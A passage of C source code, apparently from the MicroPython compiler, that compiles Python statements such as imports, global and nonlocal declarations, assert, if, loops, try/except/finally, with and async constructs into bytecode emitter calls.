\"fromlist\" tuple\n        mp_parse_node_t *pn_nodes;\n        int n = mp_parse_node_extract_list(&pns->nodes[1], PN_import_as_names, &pn_nodes);\n        for (int i = 0; i < n; i++) {\n            assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn_nodes[i], PN_import_as_name));\n            mp_parse_node_struct_t *pns3 = (mp_parse_node_struct_t*)pn_nodes[i];\n            qstr id2 = MP_PARSE_NODE_LEAF_ARG(pns3->nodes[0]); // should be id\n            EMIT_ARG(load_const_str, id2);\n        }\n        EMIT_ARG(build_tuple, n);\n\n        // do the import\n        qstr dummy_q;\n        do_import_name(comp, pn_import_source, &dummy_q);\n        for (int i = 0; i < n; i++) {\n            assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn_nodes[i], PN_import_as_name));\n            mp_parse_node_struct_t *pns3 = (mp_parse_node_struct_t*)pn_nodes[i];\n            qstr id2 = MP_PARSE_NODE_LEAF_ARG(pns3->nodes[0]); // should be id\n            EMIT_ARG(import_from, id2);\n            if (MP_PARSE_NODE_IS_NULL(pns3->nodes[1])) {\n                compile_store_id(comp, id2);\n            } else {\n                compile_store_id(comp, MP_PARSE_NODE_LEAF_ARG(pns3->nodes[1]));\n            }\n        }\n        EMIT(pop_top);\n    }\n}\n\nSTATIC void compile_declare_global(compiler_t *comp, mp_parse_node_t pn, qstr qst) {\n    bool added;\n    id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qst, &added);\n    if (!added && id_info->kind != ID_INFO_KIND_GLOBAL_EXPLICIT) {\n        compile_syntax_error(comp, pn, \"identifier redefined as global\");\n        return;\n    }\n    id_info->kind = ID_INFO_KIND_GLOBAL_EXPLICIT;\n\n    // if the id exists in the global scope, set its kind to EXPLICIT_GLOBAL\n    id_info = scope_find_global(comp->scope_cur, qst);\n    if (id_info != NULL) {\n        id_info->kind = ID_INFO_KIND_GLOBAL_EXPLICIT;\n    }\n}\n\nSTATIC void compile_global_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        mp_parse_node_t *nodes;\n        int n = mp_parse_node_extract_list(&pns->nodes[0], PN_name_list, &nodes);\n        for (int i = 0; i < n; i++) {\n            compile_declare_global(comp, (mp_parse_node_t)pns, MP_PARSE_NODE_LEAF_ARG(nodes[i]));\n        }\n    }\n}\n\nSTATIC void compile_declare_nonlocal(compiler_t *comp, mp_parse_node_t pn, qstr qst) {\n    bool added;\n    id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qst, &added);\n    if (added) {\n        scope_find_local_and_close_over(comp->scope_cur, id_info, qst);\n        if (id_info->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) {\n            compile_syntax_error(comp, pn, \"no binding for nonlocal found\");\n        }\n    } else if (id_info->kind != ID_INFO_KIND_FREE) {\n        compile_syntax_error(comp, pn, \"identifier redefined as nonlocal\");\n    }\n}\n\nSTATIC void compile_nonlocal_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        if (comp->scope_cur->kind == SCOPE_MODULE) {\n            compile_syntax_error(comp, (mp_parse_node_t)pns, \"can't declare nonlocal in outer code\");\n            return;\n        }\n        mp_parse_node_t *nodes;\n        int n = mp_parse_node_extract_list(&pns->nodes[0], PN_name_list, &nodes);\n        for (int i = 0; i < n; i++) {\n            compile_declare_nonlocal(comp, (mp_parse_node_t)pns, MP_PARSE_NODE_LEAF_ARG(nodes[i]));\n        }\n    }\n}\n\nSTATIC void compile_assert_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // with optimisations enabled we don't compile assertions\n    if (MP_STATE_VM(mp_optimise_value) != 0) {\n        return;\n    }\n\n    uint l_end = comp_next_label(comp);\n    c_if_cond(comp, pns->nodes[0], true, l_end);\n    EMIT_LOAD_GLOBAL(MP_QSTR_AssertionError); // we load_global instead of load_id, to be consistent with CPython\n    if (!MP_PARSE_NODE_IS_NULL(pns->nodes[1])) {\n        // assertion message\n        compile_node(comp, pns->nodes[1]);\n        EMIT_ARG(call_function, 1, 0, 0);\n    }\n    EMIT_ARG(raise_varargs, 1);\n    EMIT_ARG(label_assign, l_end);\n}\n\nSTATIC void compile_if_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    uint l_end = comp_next_label(comp);\n\n    // optimisation: don't emit anything when \"if False\"\n    if (!mp_parse_node_is_const_false(pns->nodes[0])) {\n        uint l_fail = comp_next_label(comp);\n        c_if_cond(comp, pns->nodes[0], false, l_fail); // if condition\n\n        compile_node(comp, pns->nodes[1]); // if block\n\n        // optimisation: skip everything else when \"if True\"\n        if (mp_parse_node_is_const_true(pns->nodes[0])) {\n            goto done;\n        }\n\n        if (\n            // optimisation: don't jump over non-existent elif/else blocks\n            !(MP_PARSE_NODE_IS_NULL(pns->nodes[2]) && MP_PARSE_NODE_IS_NULL(pns->nodes[3]))\n            // optimisation: don't jump if last instruction was return\n            && !EMIT(last_emit_was_return_value)\n            ) {\n            // jump over elif/else blocks\n            EMIT_ARG(jump, l_end);\n        }\n\n        EMIT_ARG(label_assign, l_fail);\n    }\n\n    // compile elif blocks (if any)\n    mp_parse_node_t *pn_elif;\n    int n_elif = mp_parse_node_extract_list(&pns->nodes[2], PN_if_stmt_elif_list, &pn_elif);\n    for (int i = 0; i < n_elif; i++) {\n        assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn_elif[i], PN_if_stmt_elif)); // should be\n        mp_parse_node_struct_t *pns_elif = (mp_parse_node_struct_t*)pn_elif[i];\n\n        // optimisation: don't emit anything when \"if False\"\n        if (!mp_parse_node_is_const_false(pns_elif->nodes[0])) {\n            uint l_fail = comp_next_label(comp);\n            c_if_cond(comp, pns_elif->nodes[0], false, l_fail); // elif condition\n\n            compile_node(comp, pns_elif->nodes[1]); // elif block\n\n            // optimisation: skip everything else when \"elif True\"\n            if (mp_parse_node_is_const_true(pns_elif->nodes[0])) {\n                goto done;\n            }\n\n            // optimisation: don't jump if last instruction was return\n            if (!EMIT(last_emit_was_return_value)) {\n                EMIT_ARG(jump, l_end);\n            }\n            EMIT_ARG(label_assign, l_fail);\n        }\n    }\n\n    // compile else block\n    compile_node(comp, pns->nodes[3]); // can be null\n\ndone:\n    EMIT_ARG(label_assign, l_end);\n}\n\n#define START_BREAK_CONTINUE_BLOCK \\\n    uint16_t old_break_label = comp->break_label; \\\n    uint16_t old_continue_label = comp->continue_label; \\\n    uint16_t old_break_continue_except_level = comp->break_continue_except_level; \\\n    uint break_label = comp_next_label(comp); \\\n    uint continue_label = comp_next_label(comp); \\\n    comp->break_label = break_label; \\\n    comp->continue_label = continue_label; \\\n    comp->break_continue_except_level = comp->cur_except_level;\n\n#define END_BREAK_CONTINUE_BLOCK \\\n    comp->break_label = old_break_label; \\\n    comp->continue_label = old_continue_label; \\\n    comp->break_continue_except_level = old_break_continue_except_level;\n\nSTATIC void compile_while_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    START_BREAK_CONTINUE_BLOCK\n\n    if (!mp_parse_node_is_const_false(pns->nodes[0])) { // optimisation: don't emit anything for \"while False\"\n        uint top_label = comp_next_label(comp);\n        if (!mp_parse_node_is_const_true(pns->nodes[0])) { // optimisation: don't jump to cond for \"while True\"\n            EMIT_ARG(jump, continue_label);\n        }\n        EMIT_ARG(label_assign, top_label);\n        compile_node(comp, pns->nodes[1]); // body\n        EMIT_ARG(label_assign, continue_label);\n        c_if_cond(comp, pns->nodes[0], true, top_label); // condition\n    }\n\n    // break/continue apply to outer loop (if any) in the else block\n    END_BREAK_CONTINUE_BLOCK\n\n    compile_node(comp, pns->nodes[2]); // else\n\n    EMIT_ARG(label_assign, break_label);\n}\n\n// This function compiles an optimised for-loop of the form:\n//      for <var> in range(<start>, <end>, <step>):\n//          <body>\n//      else:\n//          <else>\n// <var> must be an identifier and <step> must be a small-int.\n//\n// Semantics of for-loop require:\n//  - final failing value should not be stored in the loop variable\n//  - if the loop never runs, the loop variable should never be assigned\n//  - assignments to <var>, <end> or <step> in the body do not alter the loop\n//    (<step> is a constant for us, so no need to worry about it changing)\n//\n// If <end> is a small-int, then the stack during the for-loop contains just\n// the current value of <var>.  Otherwise, the stack contains <end> then the\n// current value of <var>.\nSTATIC void compile_for_stmt_optimised_range(compiler_t *comp, mp_parse_node_t pn_var, mp_parse_node_t pn_start, mp_parse_node_t pn_end, mp_parse_node_t pn_step, mp_parse_node_t pn_body, mp_parse_node_t pn_else) {\n    START_BREAK_CONTINUE_BLOCK\n\n    uint top_label = comp_next_label(comp);\n    uint entry_label = comp_next_label(comp);\n\n    // put the end value on the stack if it's not a small-int constant\n    bool end_on_stack = !MP_PARSE_NODE_IS_SMALL_INT(pn_end);\n    if (end_on_stack) {\n        compile_node(comp, pn_end);\n    }\n\n    // compile: start\n    compile_node(comp, pn_start);\n\n    EMIT_ARG(jump, entry_label);\n    EMIT_ARG(label_assign, top_label);\n\n    // duplicate next value and store it to var\n    EMIT(dup_top);\n    c_assign(comp, pn_var, ASSIGN_STORE);\n\n    // compile body\n    compile_node(comp, pn_body);\n\n    EMIT_ARG(label_assign, continue_label);\n\n    // compile: var + step\n    compile_node(comp, pn_step);\n    EMIT_ARG(binary_op, MP_BINARY_OP_INPLACE_ADD);\n\n    EMIT_ARG(label_assign, entry_label);\n\n    // compile: if var <cond> end: goto top\n    if (end_on_stack) {\n        EMIT(dup_top_two);\n        EMIT(rot_two);\n    } else {\n        EMIT(dup_top);\n        compile_node(comp, pn_end);\n    }\n    assert(MP_PARSE_NODE_IS_SMALL_INT(pn_step));\n    if (MP_PARSE_NODE_LEAF_SMALL_INT(pn_step) >= 0) {\n        EMIT_ARG(binary_op, MP_BINARY_OP_LESS);\n    } else {\n        EMIT_ARG(binary_op, MP_BINARY_OP_MORE);\n    }\n    EMIT_ARG(pop_jump_if, true, top_label);\n\n    // break/continue apply to outer loop (if any) in the else block\n    END_BREAK_CONTINUE_BLOCK\n\n    // Compile the else block.  We must pop the iterator variables before\n    // executing the else code because it may contain break/continue statements.\n    uint end_label = 0;\n    if (!MP_PARSE_NODE_IS_NULL(pn_else)) {\n        // discard final value of \"var\", and possible \"end\" value\n        EMIT(pop_top);\n        if (end_on_stack) {\n            EMIT(pop_top);\n        }\n        compile_node(comp, pn_else);\n        end_label = comp_next_label(comp);\n        EMIT_ARG(jump, end_label);\n        EMIT_ARG(adjust_stack_size, 1 + end_on_stack);\n    }\n\n    EMIT_ARG(label_assign, break_label);\n\n    // discard final value of var that failed the loop condition\n    EMIT(pop_top);\n\n    // discard <end> value if it's on the stack\n    if (end_on_stack) {\n        EMIT(pop_top);\n    }\n\n    if (!MP_PARSE_NODE_IS_NULL(pn_else)) {\n        EMIT_ARG(label_assign, end_label);\n    }\n}\n\nSTATIC void compile_for_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // this bit optimises: for <x> in range(...), turning it into an explicitly incremented variable\n    // this is actually slower, but uses no heap memory\n    // for viper it will be much, much faster\n    if (/*comp->scope_cur->emit_options == MP_EMIT_OPT_VIPER &&*/ MP_PARSE_NODE_IS_ID(pns->nodes[0]) && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_atom_expr_normal)) {\n        mp_parse_node_struct_t *pns_it = (mp_parse_node_struct_t*)pns->nodes[1];\n        if (MP_PARSE_NODE_IS_ID(pns_it->nodes[0])\n            && MP_PARSE_NODE_LEAF_ARG(pns_it->nodes[0]) == MP_QSTR_range\n            && MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pns_it->nodes[1]) == PN_trailer_paren) {\n            mp_parse_node_t pn_range_args = ((mp_parse_node_struct_t*)pns_it->nodes[1])->nodes[0];\n            mp_parse_node_t *args;\n            int n_args = mp_parse_node_extract_list(&pn_range_args, PN_arglist, &args);\n            mp_parse_node_t pn_range_start;\n            mp_parse_node_t pn_range_end;\n            mp_parse_node_t pn_range_step;\n            bool optimize = false;\n            if (1 <= n_args && n_args <= 3) {\n                optimize = true;\n                if (n_args == 1) {\n                    pn_range_start = mp_parse_node_new_small_int(0);\n                    pn_range_end = args[0];\n                    pn_range_step = mp_parse_node_new_small_int(1);\n                } else if (n_args == 2) {\n                    pn_range_start = args[0];\n                    pn_range_end = args[1];\n                    pn_range_step = mp_parse_node_new_small_int(1);\n                } else {\n                    pn_range_start = args[0];\n                    pn_range_end = args[1];\n                    pn_range_step = args[2];\n                    // the step must be a non-zero constant integer to do the optimisation\n                    if (!MP_PARSE_NODE_IS_SMALL_INT(pn_range_step)\n                        || MP_PARSE_NODE_LEAF_SMALL_INT(pn_range_step) == 0) {\n                        optimize = false;\n                    }\n                }\n                // arguments must be able to be compiled as standard expressions\n                if (optimize && MP_PARSE_NODE_IS_STRUCT(pn_range_start)) {\n                    int k = MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn_range_start);\n                    if (k == PN_arglist_star || k == PN_arglist_dbl_star || k == PN_argument) {\n                        optimize = false;\n                    }\n                }\n                if (optimize && MP_PARSE_NODE_IS_STRUCT(pn_range_end)) {\n                    int k = MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn_range_end);\n                    if (k == PN_arglist_star || k == PN_arglist_dbl_star || k == PN_argument) {\n                        optimize = false;\n                    }\n                }\n            }\n            if (optimize) {\n                compile_for_stmt_optimised_range(comp, pns->nodes[0], pn_range_start, pn_range_end, pn_range_step, pns->nodes[2], pns->nodes[3]);\n                return;\n            }\n        }\n    }\n\n    START_BREAK_CONTINUE_BLOCK\n    comp->break_label |= MP_EMIT_BREAK_FROM_FOR;\n\n    uint pop_label = comp_next_label(comp);\n\n    compile_node(comp, pns->nodes[1]); // iterator\n    EMIT_ARG(get_iter, true);\n    EMIT_ARG(label_assign, continue_label);\n    EMIT_ARG(for_iter, pop_label);\n    c_assign(comp, pns->nodes[0], ASSIGN_STORE); // variable\n    compile_node(comp, pns->nodes[2]); // body\n    if (!EMIT(last_emit_was_return_value)) {\n        EMIT_ARG(jump, continue_label);\n    }\n    EMIT_ARG(label_assign, pop_label);\n    EMIT(for_iter_end);\n\n    // break/continue apply to outer loop (if any) in the else block\n    END_BREAK_CONTINUE_BLOCK\n\n    compile_node(comp, pns->nodes[3]); // else (may be empty)\n\n    EMIT_ARG(label_assign, break_label);\n}\n\nSTATIC void compile_try_except(compiler_t *comp, mp_parse_node_t pn_body, int n_except, mp_parse_node_t *pn_excepts, mp_parse_node_t pn_else) {\n    // setup code\n    uint l1 = comp_next_label(comp);\n    uint success_label = comp_next_label(comp);\n\n    EMIT_ARG(setup_except, l1);\n    compile_increase_except_level(comp);\n\n    compile_node(comp, pn_body); // body\n    EMIT(pop_block);\n    EMIT_ARG(jump, success_label); // jump over exception handler\n\n    EMIT_ARG(label_assign, l1); // start of exception handler\n    EMIT(start_except_handler);\n\n    // at this point the top of the stack contains the exception instance that was raised\n\n    uint l2 = comp_next_label(comp);\n\n    for (int i = 0; i < n_except; i++) {\n        assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn_excepts[i], PN_try_stmt_except)); // should be\n        mp_parse_node_struct_t *pns_except = (mp_parse_node_struct_t*)pn_excepts[i];\n\n        qstr qstr_exception_local = 0;\n        uint end_finally_label = comp_next_label(comp);\n\n        if (MP_PARSE_NODE_IS_NULL(pns_except->nodes[0])) {\n            // this is a catch all exception handler\n            if (i + 1 != n_except) {\n                compile_syntax_error(comp, pn_excepts[i], \"default 'except' must be last\");\n                compile_decrease_except_level(comp);\n                return;\n            }\n        } else {\n            // this exception handler requires a match to a certain type of exception\n            mp_parse_node_t pns_exception_expr = pns_except->nodes[0];\n            if (MP_PARSE_NODE_IS_STRUCT(pns_exception_expr)) {\n                mp_parse_node_struct_t *pns3 = (mp_parse_node_struct_t*)pns_exception_expr;\n                if (MP_PARSE_NODE_STRUCT_KIND(pns3) == PN_try_stmt_as_name) {\n                    // handler binds the exception to a local\n                    pns_exception_expr = pns3->nodes[0];\n                    qstr_exception_local = MP_PARSE_NODE_LEAF_ARG(pns3->nodes[1]);\n                }\n            }\n            EMIT(dup_top);\n            compile_node(comp, pns_exception_expr);\n            EMIT_ARG(binary_op, MP_BINARY_OP_EXCEPTION_MATCH);\n            EMIT_ARG(pop_jump_if, false, end_finally_label);\n        }\n\n        // either discard or store the exception instance\n        if (qstr_exception_local == 0) {\n            EMIT(pop_top);\n        } else {\n            compile_store_id(comp, qstr_exception_local);\n        }\n\n        uint l3 = 0;\n        if (qstr_exception_local != 0) {\n            l3 = comp_next_label(comp);\n            EMIT_ARG(setup_finally, l3);\n            compile_increase_except_level(comp);\n        }\n        compile_node(comp, pns_except->nodes[1]);\n        if (qstr_exception_local != 0) {\n            EMIT(pop_block);\n        }\n        EMIT(pop_except);\n        if (qstr_exception_local != 0) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n            EMIT_ARG(label_assign, l3);\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n            compile_store_id(comp, qstr_exception_local);\n            compile_delete_id(comp, qstr_exception_local);\n\n            compile_decrease_except_level(comp);\n            EMIT(end_finally);\n        }\n        EMIT_ARG(jump, l2);\n        EMIT_ARG(label_assign, end_finally_label);\n        EMIT_ARG(adjust_stack_size, 1); // stack adjust for the exception instance\n    }\n\n    compile_decrease_except_level(comp);\n    EMIT(end_finally);\n    EMIT(end_except_handler);\n\n    EMIT_ARG(label_assign, success_label);\n    compile_node(comp, pn_else); // else block, can be null\n    EMIT_ARG(label_assign, l2);\n}\n\nSTATIC void compile_try_finally(compiler_t *comp, mp_parse_node_t pn_body, int n_except, mp_parse_node_t *pn_except, mp_parse_node_t pn_else, mp_parse_node_t pn_finally) {\n    uint l_finally_block = comp_next_label(comp);\n\n    EMIT_ARG(setup_finally, l_finally_block);\n    compile_increase_except_level(comp);\n\n    if (n_except == 0) {\n        assert(MP_PARSE_NODE_IS_NULL(pn_else));\n        EMIT_ARG(adjust_stack_size, 3); // stack adjust for possible UNWIND_JUMP state\n        compile_node(comp, pn_body);\n        EMIT_ARG(adjust_stack_size, -3);\n    } else {\n        compile_try_except(comp, pn_body, n_except, pn_except, pn_else);\n    }\n    EMIT(pop_block);\n    EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n    EMIT_ARG(label_assign, l_finally_block);\n    compile_node(comp, pn_finally);\n\n    compile_decrease_except_level(comp);\n    EMIT(end_finally);\n}\n\nSTATIC void compile_try_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])); // should be\n    {\n        mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[1];\n        if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_try_stmt_finally) {\n            // just try-finally\n            compile_try_finally(comp, pns->nodes[0], 0, NULL, MP_PARSE_NODE_NULL, pns2->nodes[0]);\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_try_stmt_except_and_more) {\n            // try-except and possibly else and/or finally\n            mp_parse_node_t *pn_excepts;\n            int n_except = mp_parse_node_extract_list(&pns2->nodes[0], PN_try_stmt_except_list, &pn_excepts);\n            if (MP_PARSE_NODE_IS_NULL(pns2->nodes[2])) {\n                // no finally\n                compile_try_except(comp, pns->nodes[0], n_except, pn_excepts, pns2->nodes[1]);\n            } else {\n                // have finally\n                compile_try_finally(comp, pns->nodes[0], n_except, pn_excepts, pns2->nodes[1], ((mp_parse_node_struct_t*)pns2->nodes[2])->nodes[0]);\n            }\n        } else {\n            // just try-except\n            mp_parse_node_t *pn_excepts;\n            int n_except = mp_parse_node_extract_list(&pns->nodes[1], PN_try_stmt_except_list, &pn_excepts);\n            compile_try_except(comp, pns->nodes[0], n_except, pn_excepts, MP_PARSE_NODE_NULL);\n        }\n    }\n}\n\nSTATIC void compile_with_stmt_helper(compiler_t *comp, int n, mp_parse_node_t *nodes, mp_parse_node_t body) {\n    if (n == 0) {\n        // no more pre-bits, compile the body of the with\n        compile_node(comp, body);\n    } else {\n        uint l_end = comp_next_label(comp);\n        if (MICROPY_EMIT_NATIVE && comp->scope_cur->emit_options != MP_EMIT_OPT_BYTECODE) {\n            // we need to allocate an extra label for the native emitter\n            // it will use l_end+1 as an auxiliary label\n            comp_next_label(comp);\n        }\n        if (MP_PARSE_NODE_IS_STRUCT_KIND(nodes[0], PN_with_item)) {\n            // this pre-bit is of the form \"a as b\"\n            mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)nodes[0];\n            compile_node(comp, pns->nodes[0]);\n            EMIT_ARG(setup_with, l_end);\n            c_assign(comp, pns->nodes[1], ASSIGN_STORE);\n        } else {\n            // this pre-bit is just an expression\n            compile_node(comp, nodes[0]);\n            EMIT_ARG(setup_with, l_end);\n            EMIT(pop_top);\n        }\n        compile_increase_except_level(comp);\n        // compile additional pre-bits and the body\n        compile_with_stmt_helper(comp, n - 1, nodes + 1, body);\n        // finish this with block\n        EMIT_ARG(with_cleanup, l_end);\n        compile_decrease_except_level(comp);\n        EMIT(end_finally);\n    }\n}\n\nSTATIC void compile_with_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // get the nodes for the pre-bit of the with (the a as b, c as d, ... bit)\n    mp_parse_node_t *nodes;\n    int n = mp_parse_node_extract_list(&pns->nodes[0], PN_with_stmt_list, &nodes);\n    assert(n > 0);\n\n    // compile in a nested fashion\n    compile_with_stmt_helper(comp, n, nodes, pns->nodes[1]);\n}\n\nSTATIC void compile_yield_from(compiler_t *comp) {\n    EMIT_ARG(get_iter, false);\n    EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n    EMIT(yield_from);\n}\n\n#if MICROPY_PY_ASYNC_AWAIT\nSTATIC void compile_await_object_method(compiler_t *comp, qstr method) {\n    EMIT_ARG(load_method, method, false);\n    EMIT_ARG(call_method, 0, 0, 0);\n    compile_yield_from(comp);\n}\n\nSTATIC void compile_async_for_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // comp->break_label |= MP_EMIT_BREAK_FROM_FOR;\n\n    qstr context = MP_PARSE_NODE_LEAF_ARG(pns->nodes[1]);\n    uint while_else_label = comp_next_label(comp);\n    uint try_exception_label = comp_next_label(comp);\n    uint try_else_label = comp_next_label(comp);\n    uint try_finally_label = comp_next_label(comp);\n\n    compile_node(comp, pns->nodes[1]); // iterator\n    compile_await_object_method(comp, MP_QSTR___aiter__);\n    compile_store_id(comp, context);\n\n    START_BREAK_CONTINUE_BLOCK\n\n    EMIT_ARG(label_assign, continue_label);\n\n    EMIT_ARG(setup_except, try_exception_label);\n    compile_increase_except_level(comp);\n\n    compile_load_id(comp, context);\n    compile_await_object_method(comp, MP_QSTR___anext__);\n    c_assign(comp, pns->nodes[0], ASSIGN_STORE); // variable\n    EMIT(pop_block);\n    EMIT_ARG(jump, try_else_label);\n\n    EMIT_ARG(label_assign, try_exception_label);\n    EMIT(start_except_handler);\n    EMIT(dup_top);\n    EMIT_LOAD_GLOBAL(MP_QSTR_StopAsyncIteration);\n    EMIT_ARG(binary_op, MP_BINARY_OP_EXCEPTION_MATCH);\n    EMIT_ARG(pop_jump_if, false, try_finally_label);\n    EMIT(pop_top); // pop exception instance\n    EMIT(pop_except);\n    EMIT_ARG(jump, while_else_label);\n\n    EMIT_ARG(label_assign, try_finally_label);\n    EMIT_ARG(adjust_stack_size, 1); // if we jump here, the exc is on the stack\n    compile_decrease_except_level(comp);\n    EMIT(end_finally);\n    EMIT(end_except_handler);\n\n    EMIT_ARG(label_assign, try_else_label);\n    compile_node(comp, pns->nodes[2]); // body\n\n    EMIT_ARG(jump, continue_label);\n    // break/continue apply to outer loop (if any) in the else block\n    END_BREAK_CONTINUE_BLOCK\n\n    EMIT_ARG(label_assign, while_else_label);\n    compile_node(comp, pns->nodes[3]); // else\n\n    EMIT_ARG(label_assign, break_label);\n}\n\nSTATIC void compile_async_with_stmt_helper(compiler_t *comp, int n, mp_parse_node_t *nodes, mp_parse_node_t body) {\n    if (n == 0) {\n        // no more pre-bits, compile the body of the with\n        compile_node(comp, body);\n    } else {\n        uint try_exception_label = comp_next_label(comp);\n        uint no_reraise_label = comp_next_label(comp);\n        uint try_else_label = comp_next_label(comp);\n        uint end_label = comp_next_label(comp);\n        qstr context;\n\n        if (MP_PARSE_NODE_IS_STRUCT_KIND(nodes[0], PN_with_item)) {\n            // this pre-bit is of the form \"a as b\"\n            mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)nodes[0];\n            compile_node(comp, pns->nodes[0]);\n            context = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]);\n            compile_store_id(comp, context);\n            compile_load_id(comp, context);\n            compile_await_object_method(comp, MP_QSTR___aenter__);\n            c_assign(comp, pns->nodes[1], ASSIGN_STORE);\n        } else {\n            // this pre-bit is just an expression\n            compile_node(comp, nodes[0]);\n            context = MP_PARSE_NODE_LEAF_ARG(nodes[0]);\n            compile_store_id(comp, context);\n            compile_load_id(comp, context);\n            compile_await_object_method(comp, MP_QSTR___aenter__);\n            EMIT(pop_top);\n        }\n\n        compile_load_id(comp, context);\n        EMIT_ARG(load_method, MP_QSTR___aexit__, false);\n\n        EMIT_ARG(setup_except, try_exception_label);\n        compile_increase_except_level(comp);\n        // compile additional pre-bits and the body\n        compile_async_with_stmt_helper(comp, n - 1, nodes + 1, body);\n        // finish this with block\n        EMIT(pop_block);\n        EMIT_ARG(jump, try_else_label); // jump over exception handler\n\n        EMIT_ARG(label_assign, try_exception_label); // start of exception handler\n        EMIT(start_except_handler);\n\n        // at this point the stack contains: ..., __aexit__, self, exc\n        EMIT(dup_top);\n        #if MICROPY_CPYTHON_COMPAT\n        EMIT_ARG(load_attr, MP_QSTR___class__); // get type(exc)\n        #else\n        compile_load_id(comp, MP_QSTR_type);\n        EMIT(rot_two);\n        EMIT_ARG(call_function, 1, 0, 0); // get type(exc)\n        #endif\n        EMIT(rot_two);\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); // dummy traceback value\n        // at this point the stack contains: ..., __aexit__, self, type(exc), exc, None\n        EMIT_ARG(call_method, 3, 0, 0);\n\n        compile_yield_from(comp);\n        EMIT_ARG(pop_jump_if, true, no_reraise_label);\n        EMIT_ARG(raise_varargs, 0);\n\n        EMIT_ARG(label_assign, no_reraise_label);\n        EMIT(pop_except);\n        EMIT_ARG(jump, end_label);\n\n        EMIT_ARG(adjust_stack_size, 3); // adjust for __aexit__, self, exc\n        compile_decrease_except_level(comp);\n        EMIT(end_finally);\n        EMIT(end_except_handler);\n\n        EMIT_ARG(label_assign, try_else_label); // start of try-else handler\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        EMIT(dup_top);\n        EMIT(dup_top);\n        EMIT_ARG(call_method, 3, 0, 0);\n        compile_yield_from(comp);\n        EMIT(pop_top);\n\n        EMIT_ARG(label_assign, end_label);\n\n    }\n}\n\nSTATIC void compile_async_with_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // get the nodes for the pre-bit of the with (the a as b, c as d, ... bit)\n    mp_parse_node_t *nodes;\n    int n = mp_parse_node_extract_list(&pns->nodes[0], PN_with_stmt_list, &nodes);\n    assert(n > 0);\n\n    // compile in a nested fashion\n    compile_async_with_stmt_helper(comp, n, nodes, pns->nodes[1]);\n}\n\nSTATIC void compile_async_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[0]));\n    mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0];\n    if (MP_PARSE_NODE_STRUCT_KIND(pns0) == PN_funcdef) {\n        // async def\n        compile_funcdef(comp, pns0);\n        scope_t *fscope = (scope_t*)pns0->nodes[4];\n        fscope->scope_flags |= MP_SCOPE_FLAG_GENERATOR;\n    } else if (MP_PARSE_NODE_STRUCT_KIND(pns0) == PN_for_stmt) {\n        // async for\n        compile_async_for_stmt(comp, pns0);\n    } else {\n        // async with\n        assert(MP_PARSE_NODE_STRUCT_KIND(pns0) == PN_with_stmt);\n        compile_async_with_stmt(comp, pns0);\n    }\n}\n#endif\n\nSTATIC void compile_expr_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (MP_PARSE_NODE_IS_NULL(pns->nodes[1])) {\n        if (comp->is_repl && comp->scope_cur->kind == SCOPE_MODULE) {\n            // for REPL, evaluate then print the expression\n            compile_load_id(comp, MP_QSTR___repl_print__);\n            compile_node(comp, pns->nodes[0]);\n            EMIT_ARG(call_function, 1, 0, 0);\n            EMIT(pop_top);\n\n        } else {\n            // for non-REPL, evaluate then discard the expression\n            if ((MP_PARSE_NODE_IS_LEAF(pns->nodes[0]) && !MP_PARSE_NODE_IS_ID(pns->nodes[0]))\n                || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_const_object)) {\n                // do nothing with a lonely constant\n            } else {\n                compile_node(comp, pns->nodes[0]); // just an expression\n                EMIT(pop_top); // discard last result since this is a statement and leaves nothing on the stack\n            }\n        }\n    } else if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) {\n        mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1];\n        int kind = MP_PARSE_NODE_STRUCT_KIND(pns1);\n        if (kind == PN_expr_stmt_augassign) {\n            c_assign(comp, pns->nodes[0], ASSIGN_AUG_LOAD); // lhs load for aug assign\n            compile_node(comp, pns1->nodes[1]); // rhs\n            assert(MP_PARSE_NODE_IS_TOKEN(pns1->nodes[0]));\n            mp_binary_op_t op;\n            switch (MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0])) {\n                case MP_TOKEN_DEL_PIPE_EQUAL: op = 